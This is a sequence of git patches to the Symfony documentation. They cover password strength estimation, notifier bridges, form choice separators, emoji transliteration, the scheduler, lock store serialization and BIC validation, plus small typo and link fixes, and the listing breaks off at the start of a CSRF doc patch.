From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 May 2024 10:43:26 +0200
Subject: [PATCH 4762/5766] Move the docs to the constraint doc

---
 reference/constraints/PasswordStrength.rst    | 87 +++++++++++++++++--
 .../get_or_override_estimate_strength.rst     | 48 ----------
 2 files changed, 81 insertions(+), 54 deletions(-)
 delete mode 100644 validation/passwordStrength/get_or_override_estimate_strength.rst

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index a44fd70fd4e..671b5f495ef 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -129,11 +129,86 @@ The default message supplied when the password does not reach the minimum requir
         protected $rawPassword;
     }
 
-Learn more
-----------
+Customizing the Password Strength Estimation
+--------------------------------------------
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+.. versionadded:: 7.2
 
-    /validation/passwordStrength/*
+    The feature to customize the password strength estimation was introduced in Symfony 7.2.
+
+By default, this constraint calculates the strength of a password based on its
+length and the number of unique characters used. You can get the calculated
+password strength (e.g. to display it in the user interface) using the following
+static function::
+
+    use Symfony\Component\Validator\Constraints\PasswordStrengthValidator;
+
+    $passwordEstimatedStrength = PasswordStrengthValidator::estimateStrength($password);
+
+If you need to override the default password strength estimation algorithm, you
+can pass a ``Closure`` to the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator`
+constructor (e.g. using the :doc:`service closures </service_container/service_closures>`).
+
+First, create a custom password strength estimation algorithm within a dedicated
+callable class::
+
+    namespace App\Validator;
+
+    class CustomPasswordStrengthEstimator
+    {
+        /**
+         * @return PasswordStrength::STRENGTH_*
+         */
+        public function __invoke(string $password): int
+        {
+            // Your custom password strength estimation algorithm
+        }
+    }
+
+Then, configure the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator`
+service to use your own estimator:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            custom_password_strength_estimator:
+                class: App\Validator\CustomPasswordStrengthEstimator
+
+            Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
+                arguments: [!service_closure '@custom_password_strength_estimator']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="custom_password_strength_estimator" class="App\Validator\CustomPasswordStrengthEstimator"/>
+
+                <service id="Symfony\Component\Validator\Constraints\PasswordStrengthValidator">
+                    <argument type="service_closure" id="custom_password_strength_estimator"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Validator\Constraints\PasswordStrengthValidator;
+
+        return function (ContainerConfigurator $container): void {
+            $services = $container->services();
+
+            $services->set('custom_password_strength_estimator', CustomPasswordStrengthEstimator::class);
+
+            $services->set(PasswordStrengthValidator::class)
+                ->args([service_closure('custom_password_strength_estimator')]);
+        };
diff --git a/validation/passwordStrength/get_or_override_estimate_strength.rst b/validation/passwordStrength/get_or_override_estimate_strength.rst
deleted file mode 100644
index 9cd24c1b818..00000000000
--- a/validation/passwordStrength/get_or_override_estimate_strength.rst
+++ /dev/null
@@ -1,48 +0,0 @@
-How to Get or Override the Default Password Strength Estimation Algorithm
-=========================================================================
-
-Within the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` a `dedicated function`_ is used to estimate the strength of the given password. This function can be retrieved directly from the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` class and can also be overridden.
-
-Get the default Password strength
----------------------------------
-
-In case of need to retrieve the actual strength of a password (e.g. compute the score and display it when the user has defined a password), the ``estimateStrength`` `dedicated function`_ of the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` is a public static function, therefore this function can be retrieved directly from the `PasswordStrengthValidator` class.::
-
-        use Symfony\Component\Validator\Constraints\PasswordStrengthValidator;
-
-        $passwordEstimatedStrength = PasswordStrengthValidator::estimateStrength($password);
-
-
-Override the default Password strength estimation algorithm
------------------------------------------------------------
-
-If you need to override the default password strength estimation algorithm, you can pass a ``Closure`` to the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` constructor. This can be done using the :doc:`/service_container/service_closures`.
-
-First, create a custom password strength estimation algorithm within a dedicated callable class.::
-
-        namespace App\Validator;
-
-        class CustomPasswordStrengthEstimator
-        {
-            /**
-             * @param string $password
-             *
-             * @return PasswordStrength::STRENGTH_*
-             */
-            public function __invoke(string $password): int
-            {
-                // Your custom password strength estimation algorithm
-            }
-        }
-
-Then, configure the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` service to use the custom password strength estimation algorithm.::
-
-        # config/services.yaml
-        services:
-            custom_password_strength_estimator:
-                class: App\Validator\CustomPasswordStrengthEstimator
-
-            Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
-                arguments: [!service_closure '@custom_password_strength_estimator']
-
-.. _`dedicated function`: https://github.com/symfony/symfony/blob/85db734e06e8cb32365810958326d48084bf48ba/src/Symfony/Component/Validator/Constraints/PasswordStrengthValidator.php#L53-L90

From 710d306fba10953ab91b9b1994295564b8afebb2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 May 2024 12:16:03 +0200
Subject: [PATCH 4763/5766] [Notifier] Add a missing reference link

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 202689005a3..5346fbf7719 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1089,6 +1089,7 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
+.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md

From f6a398b498d77c19627f93c3328a75017b78d16c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 May 2024 12:04:38 +0200
Subject: [PATCH 4764/5766] Move some docs from the Choice constraint to the
 ChoiceType

---
 reference/constraints/Choice.rst | 26 --------------------------
 reference/forms/types/choice.rst | 26 ++++++++++++++++++++++++++
 2 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 8bafaaede7b..5a9c365be37 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -389,29 +389,3 @@ Parameter        Description
 ===============  ==============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc
-
-``separator``
-~~~~~~~~~~~~~
-
-**type**: ``string`` **default**: ``-------------------``
-
-This option allows you to customize the visual separator shown after the preferred
-choices. You can use HTML elements like ``<hr>`` to display a more modern separator,
-but you'll also need to set the `separator_html`_ option to ``true``.
-
-.. versionadded:: 7.1
-
-    The ``separator`` option was introduced in Symfony 7.1.
-
-``separator_html``
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If this option is true, the `separator`_ option will be displayed as HTML instead
-of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern
-visual separator.
-
-.. versionadded:: 7.1
-
-    The ``separator_html`` option was introduced in Symfony 7.1.
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 3637da8bdca..0b250b799da 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -202,6 +202,32 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
+``separator``
+~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``-------------------``
+
+This option allows you to customize the visual separator shown after the preferred
+choices. You can use HTML elements like ``<hr>`` to display a more modern separator,
+but you'll also need to set the `separator_html`_ option to ``true``.
+
+.. versionadded:: 7.1
+
+    The ``separator`` option was introduced in Symfony 7.1.
+
+``separator_html``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If this option is true, the `separator`_ option will be displayed as HTML instead
+of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern
+visual separator.
+
+.. versionadded:: 7.1
+
+    The ``separator_html`` option was introduced in Symfony 7.1.
+
 Overridden Options
 ------------------
 

From aa42227d536caf2e53724e451b5c698753e74e05 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 30 May 2024 08:05:27 +0200
Subject: [PATCH 4765/5766] __isset() returns true only if values are present

---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 953a05bff47..a51f6034145 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -207,7 +207,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
         public function __isset($id): bool
         {
-            return true;
+            return array_key_exists($id, $this->children);
         }
     }
 

From 41c4ce5f15986ad8dfb95d3267f875cff63e9377 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 30 May 2024 11:41:26 +0200
Subject: [PATCH 4766/5766] [Dotenv] Fix `SYMFONY_DOTENV_PATH` purpose

---
 configuration.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 728f0e4e8b5..36dceae1b71 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -954,15 +954,7 @@ path is part of the options you can set in your ``composer.json`` file:
           }
       }
 
-You can also set the ``SYMFONY_DOTENV_PATH`` environment variable at system
-level (e.g. in your web server configuration or in your Dockerfile):
-
-.. code-block:: bash
-
-    # .env (or .env.local)
-    SYMFONY_DOTENV_PATH=my/custom/path/to/.env
-
-Finally, you can directly invoke the ``Dotenv`` class in your
+As an alternate option, you can directly invoke the ``Dotenv`` class in your
 ``bootstrap.php`` file or any other file of your application::
 
     use Symfony\Component\Dotenv\Dotenv;
@@ -975,9 +967,13 @@ the local and environment-specific files (e.g. ``.*.local`` and
 :ref:`how to override environment variables <configuration-multiple-env-files>`
 to learn more about this.
 
+If you need to know the path to the ``.env`` file that Symfony is using, you can
+read the ``SYMFONY_DOTENV_PATH`` environment variable in your application.
+
 .. versionadded:: 7.1
 
-    The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony 7.1.
+    The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony
+    7.1.
 
 .. _configuration-secrets:
 

From 0074962a87b9598d337469566266f9d78a8f742a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 27 May 2024 16:19:49 +0200
Subject: [PATCH 4767/5766] [Emoji] Add the text locale

---
 string.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/string.rst b/string.rst
index c58a736da89..9253b89478e 100644
--- a/string.rst
+++ b/string.rst
@@ -561,6 +561,7 @@ textual representation in all languages based on the `Unicode CLDR dataset`_::
 
 The ``EmojiTransliterator`` also provides special locales that convert emojis to
 short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack.
+All theses platform are also combined in special locale ``text``.
 
 GitHub Emoji Transliteration
 ............................
@@ -607,6 +608,27 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale::
     $transliterator->transliterate('Menus with :green_salad: or :falafel:');
     // => 'Menus with 🥗 or 🧆'
 
+Text Emoji Transliteration
+..........................
+
+If you don't know where short codes come from, you can use the ``text-emoji`` locale.
+This locale will convert Github, Gitlab and Slack short codes to emojis::
+
+    $transliterator = EmojiTransliterator::create('text-emoji');
+    // Github short codes
+    $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
+    // Gitlab short codes
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // Slack short codes
+    $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
+    // => 'Breakfast with 🥝 or 🥛'
+
+You can convert emojis to short codes with the ``emoji-text`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-text');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwifruit: or :milk-glass:
+
 Removing Emojis
 ~~~~~~~~~~~~~~~
 

From 83b90512648752142e26ea1f361a13443642aac1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 31 May 2024 09:37:02 +0200
Subject: [PATCH 4768/5766] remove example using not existing timezone property

---
 scheduler.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index d23df3b3044..d31e91067bd 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -516,9 +516,6 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg
         }
     }
 
-    // defines the timezone to use
-    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
-
 .. versionadded:: 6.4
 
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute

From cd3690d3738ff210cd2144f97186c2acce20e38f Mon Sep 17 00:00:00 2001
From: A goazil <samael.tomas@gmail.com>
Date: Tue, 30 Apr 2024 09:52:48 +0200
Subject: [PATCH 4769/5766] [Notifier] add Primotexto bridge

chore: add versionadded directive
---
 notifier.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 04ca5a2d4a4..01dfaf17cc6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -138,6 +138,9 @@ Service
 `Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
                     **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
                     **Webhook support**: No
+`Primotexto`_       **Install**: ``composer require symfony/primotexto-notifier`` \
+                    **DSN**: ``primotexto://API_KEY@default?from=FROM`` \
+                    **Webhook support**: No
 `Redlink`_          **Install**: ``composer require symfony/redlink-notifier`` \
                     **DSN**: ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION`` \
                     **Webhook support**: No
@@ -203,6 +206,10 @@ Service
                     **Webhook support**: No
 ==================  ====================================================================================================================================
 
+.. versionadded:: 7.2
+
+    The ``Primotexto`` integration was introduced in Symfony 7.2.
+
 .. tip::
 
     Some third party transports, when using the API, support status callbacks
@@ -1119,6 +1126,7 @@ is dispatched. Listeners receive a
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
+.. _`Primotexto`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Primotexto/README.md
 .. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
 .. _`Pushy`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushy/README.md
 .. _`Redlink`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Redlink/README.md

From 69c39f5f7e54a7ba2b9d7b449ef4269baed4b761 Mon Sep 17 00:00:00 2001
From: Jean-David Daviet <jeandaviddaviet@gmail.com>
Date: Fri, 31 May 2024 15:00:17 +0200
Subject: [PATCH 4770/5766] Fix broken link for UriSigner::sign method

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 790ae314516..153c3690824 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2697,7 +2697,7 @@ service, which you can inject in your services or controllers::
 For security reasons, it's common to make signed URIs expire after some time
 (e.g. when using them to reset user credentials). By default, signed URIs don't
 expire, but you can define an expiration date/time using the ``$expiration``
-argument of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
+argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     // src/Service/SomeService.php
     namespace App\Service;

From 3444ffba12ba81ba13a3843afd84852fcfa31560 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Fri, 31 May 2024 17:31:51 +0200
Subject: [PATCH 4771/5766] Improve the documentation about serializing lock
 keys

- use the LockFactory, which is consistent with other examples and is the recommended usage in the fullstack framework rather than injecting the Store to create a Lock directly
- update the lock store table to document which stores are compatible with serialization, as the section about serialization is linking to this table for compatibility info but it was not included
---
 components/lock.rst | 34 ++++++++++++++++------------------
 1 file changed, 16 insertions(+), 18 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index bac1f835b9a..3332d24fe32 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -108,12 +108,10 @@ to handle the rest of the job::
 
     use App\Lock\RefreshTaxonomy;
     use Symfony\Component\Lock\Key;
-    use Symfony\Component\Lock\Lock;
 
     $key = new Key('article.'.$article->getId());
-    $lock = new Lock(
+    $lock = $factory->createLockFromKey(
         $key,
-        $this->store,
         300,  // ttl
         false // autoRelease
     );
@@ -124,7 +122,7 @@ to handle the rest of the job::
 .. note::
 
     Don't forget to set the ``autoRelease`` argument to ``false`` in the
-    ``Lock`` constructor to avoid releasing the lock when the destructor is
+    ``Lock`` instantiation to avoid releasing the lock when the destructor is
     called.
 
 Not all stores are compatible with serialization and cross-process locking: for
@@ -402,20 +400,20 @@ Locks are created and managed in ``Stores``, which are classes that implement
 
 The component includes the following built-in store types:
 
-==========================================================  ======  ========  ======== =======
-Store                                                       Scope   Blocking  Expiring Sharing
-==========================================================  ======  ========  ======== =======
-:ref:`FlockStore <lock-store-flock>`                        local   yes       no       yes
-:ref:`MemcachedStore <lock-store-memcached>`                remote  no        yes      no
-:ref:`MongoDbStore <lock-store-mongodb>`                    remote  no        yes      no
-:ref:`PdoStore <lock-store-pdo>`                            remote  no        yes      no
-:ref:`DoctrineDbalStore <lock-store-dbal>`                  remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`                   remote  yes       no       yes
-:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>`  remote  yes       no       yes
-:ref:`RedisStore <lock-store-redis>`                        remote  no        yes      yes
-:ref:`SemaphoreStore <lock-store-semaphore>`                local   yes       no       no
-:ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no
-==========================================================  ======  ========  ======== =======
+==========================================================  ======  ========  ======== ======= =============
+Store                                                       Scope   Blocking  Expiring Sharing Serialization
+==========================================================  ======  ========  ======== ======= =============
+:ref:`FlockStore <lock-store-flock>`                        local   yes       no       yes     no
+:ref:`MemcachedStore <lock-store-memcached>`                remote  no        yes      no      yes
+:ref:`MongoDbStore <lock-store-mongodb>`                    remote  no        yes      no      yes
+:ref:`PdoStore <lock-store-pdo>`                            remote  no        yes      no      yes
+:ref:`DoctrineDbalStore <lock-store-dbal>`                  remote  no        yes      no      yes
+:ref:`PostgreSqlStore <lock-store-pgsql>`                   remote  yes       no       yes     no
+:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>`  remote  yes       no       yes     no
+:ref:`RedisStore <lock-store-redis>`                        remote  no        yes      yes     yes
+:ref:`SemaphoreStore <lock-store-semaphore>`                local   yes       no       no      no
+:ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no      no
+==========================================================  ======  ========  ======== ======= =============
 
 .. tip::
 

From 008bebf3ee880f3ce6f28e7aa6a0011ae9d7d16b Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 1 Jun 2024 08:28:35 +0200
Subject: [PATCH 4772/5766] Add missing dispatcher in Scheduler example

---
 scheduler.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index d31e91067bd..ed9b6bf03d6 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -652,11 +652,15 @@ being transferred and processed by its handler::
     #[AsSchedule('uptoyou')]
     class SaleTaskProvider implements ScheduleProviderInterface
     {
+        public function __construct(private EventDispatcherInterface $dispatcher)
+        {
+        }
+
         public function getSchedule(): Schedule
         {
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
-            return $this->schedule ??= (new Schedule())
+            return $this->schedule ??= (new Schedule($this->dispatcher))
                 ->with(
                     // ...
                 )
@@ -671,7 +675,7 @@ being transferred and processed by its handler::
                     $schedule->removeById($messageContext->id);
 
                     // allow to call the ShouldCancel() and avoid the message to be handled
-                        $event->shouldCancel(true);
+                    $event->shouldCancel(true);
                 })
                 ->after(function(PostRunEvent $event) {
                     // Do what you want

From dc23e2e0399768c26c495ed8e2cf481843801d57 Mon Sep 17 00:00:00 2001
From: Maximilian Beckers <beckers.maximilian@gmail.com>
Date: Tue, 4 Jun 2024 12:01:10 +0200
Subject: [PATCH 4773/5766] [Validator] BicValidator add strict mode to
 validate bics in strict mode

---
 reference/constraints/Bic.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 69ce35248f3..a6a745e3a76 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -121,4 +121,24 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+``mode``
+~~~~~~~~
+
+**type**: ``string`` **default**: ``strict``
+
+The mode in which the BIC is validated can be defined with this option. Valid values are:
+
+* ``strict`` uses the input BIC and validates it without modification.
+* ``case-insensitive`` converts the input value to uppercase before validating the BIC.
+
+.. tip::
+
+    The possible values of this option are also defined as PHP constants of
+    :class:`Symfony\\Component\\Validator\\Constraints\\BIC`
+    (e.g. ``BIC::VALIDATION_MODE_CASE_INSENSITIVE``).
+
+.. versionadded:: 7.2
+
+    The ``mode`` option was introduced in Symfony 7.2.
+
 .. _`Business Identifier Code (BIC)`: https://en.wikipedia.org/wiki/Business_Identifier_Code

From a6a828e6f9438df3169ea8200ffb00b76dbf1a8c Mon Sep 17 00:00:00 2001
From: Patryk Miedziaszczyk <57354820+Euugi@users.noreply.github.com>
Date: Tue, 4 Jun 2024 19:07:46 +0200
Subject: [PATCH 4774/5766] Change Type of field to correct one

---
 reference/forms/types/time.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index b45b0eab561..2ce41c6ff74 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -69,14 +69,14 @@ If your widget option is set to ``choice``, then this field will be represented
 as a series of ``select`` boxes. When the placeholder value is a string,
 it will be used as the **blank value** of all select boxes::
 
-    $builder->add('startTime', 'time', [
+    $builder->add('startTime', TimeType::class, [
         'placeholder' => 'Select a value',
     ]);
 
 Alternatively, you can use an array that configures different placeholder
 values for the hour, minute and second fields::
 
-    $builder->add('startTime', 'time', [
+    $builder->add('startTime', TimeType::class, [
         'placeholder' => [
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
         ],

From 8be7bb3f34064492907af7d1de2eb5b3f27d75de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 30 May 2024 15:29:28 +0200
Subject: [PATCH 4775/5766] [String] Update the emoji transliteration docs

---
 string.rst | 40 ++++++++++++++++++++++++----------------
 1 file changed, 24 insertions(+), 16 deletions(-)

diff --git a/string.rst b/string.rst
index 9253b89478e..01752fff9c9 100644
--- a/string.rst
+++ b/string.rst
@@ -558,15 +558,20 @@ textual representation in all languages based on the `Unicode CLDR dataset`_::
     $transliterator->transliterate('Menus with 🍕 or 🍝');
     // => 'Menus with піца or спагеті'
 
+Transliterating Emoji Text Short Codes
+......................................
 
-The ``EmojiTransliterator`` also provides special locales that convert emojis to
-short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack.
-All theses platform are also combined in special locale ``text``.
+Services like GitHub and Slack allows to include emojis in your messages using
+text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
 
-GitHub Emoji Transliteration
-............................
+Symfony also provides a feature to transliterate emojis into short codes and vice
+versa. The short codes are slightly different on each service, so you must pass
+the name of the service as an argument when creating the transliterator:
 
-Convert GitHub emojis to short codes with the ``emoji-github`` locale::
+GitHub Emoji Short Codes Transliteration
+########################################
+
+Convert emojis to GitHub short codes with the ``emoji-github`` locale::
 
     $transliterator = EmojiTransliterator::create('emoji-github');
     $transliterator->transliterate('Teenage 🐢 really love 🍕');
@@ -578,10 +583,10 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale::
     $transliterator->transliterate('Teenage :turtle: really love :pizza:');
     // => 'Teenage 🐢 really love 🍕'
 
-Gitlab Emoji Transliteration
-............................
+Gitlab Emoji Short Codes Transliteration
+########################################
 
-Convert Gitlab emojis to short codes with the ``emoji-gitlab`` locale::
+Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale::
 
     $transliterator = EmojiTransliterator::create('emoji-gitlab');
     $transliterator->transliterate('Breakfast with 🥝 or 🥛');
@@ -593,10 +598,10 @@ Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
     $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
     // => 'Breakfast with 🥝 or 🥛'
 
-Slack Emoji Transliteration
-...........................
+Slack Emoji Short Codes Transliteration
+#######################################
 
-Convert Slack emojis to short codes with the ``emoji-slack`` locale::
+Convert emojis to Slack short codes with the ``emoji-slack`` locale::
 
     $transliterator = EmojiTransliterator::create('emoji-slack');
     $transliterator->transliterate('Menus with 🥗 or 🧆');
@@ -608,19 +613,22 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale::
     $transliterator->transliterate('Menus with :green_salad: or :falafel:');
     // => 'Menus with 🥗 or 🧆'
 
-Text Emoji Transliteration
-..........................
+Universal Emoji Short Codes Transliteration
+###########################################
 
-If you don't know where short codes come from, you can use the ``text-emoji`` locale.
-This locale will convert Github, Gitlab and Slack short codes to emojis::
+If you don't know which service was used to generate the short codes, you can use
+the ``text-emoji`` locale, which combines all codes from all services::
 
     $transliterator = EmojiTransliterator::create('text-emoji');
+
     // Github short codes
     $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
     // Gitlab short codes
     $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
     // Slack short codes
     $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
+
+    // all the above examples produce the same result:
     // => 'Breakfast with 🥝 or 🥛'
 
 You can convert emojis to short codes with the ``emoji-text`` locale::

From ec6b103f4f078163a09e37bfd21a3c76c59f94b2 Mon Sep 17 00:00:00 2001
From: Michael Hirschler <michael@hirschler.me>
Date: Wed, 5 Jun 2024 07:40:51 +0200
Subject: [PATCH 4776/5766] fixes typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index af134f4d349..deafa307719 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -944,7 +944,7 @@ The default behavior for browser channel notifications is to add a
 However, you might prefer to map the importance level of the notification to the
 type of flash message, so you can tweak their style.
 
-you can do that by overriding the default ``notifier.flash_message_importance_mapper``
+You can do that by overriding the default ``notifier.flash_message_importance_mapper``
 service with your own implementation of
 :class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface`
 where you can provide your own "importance" to "alert level" mapping.

From 1484f9dc53b784ac79b1b5cb3f7fd000f07ac92c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jun 2024 11:40:33 +0200
Subject: [PATCH 4777/5766] Minor tweaks

---
 reference/constraints/Bic.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index a6a745e3a76..3f05e5eac25 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -126,10 +126,10 @@ Parameter        Description
 
 **type**: ``string`` **default**: ``strict``
 
-The mode in which the BIC is validated can be defined with this option. Valid values are:
+This option defines how the BIC is validated:
 
-* ``strict`` uses the input BIC and validates it without modification.
-* ``case-insensitive`` converts the input value to uppercase before validating the BIC.
+* ``strict`` validates the given value without any modification;
+* ``case-insensitive`` converts the given value to uppercase before validating it.
 
 .. tip::
 

From fd6262225b0e14b3b35690e24b94f14f56a47e83 Mon Sep 17 00:00:00 2001
From: seb-jean <sebastien.jean76@gmail.com>
Date: Thu, 6 Jun 2024 16:36:12 +0200
Subject: [PATCH 4778/5766] Update csrf.rst

---
 security/csrf.rst | 2 +-
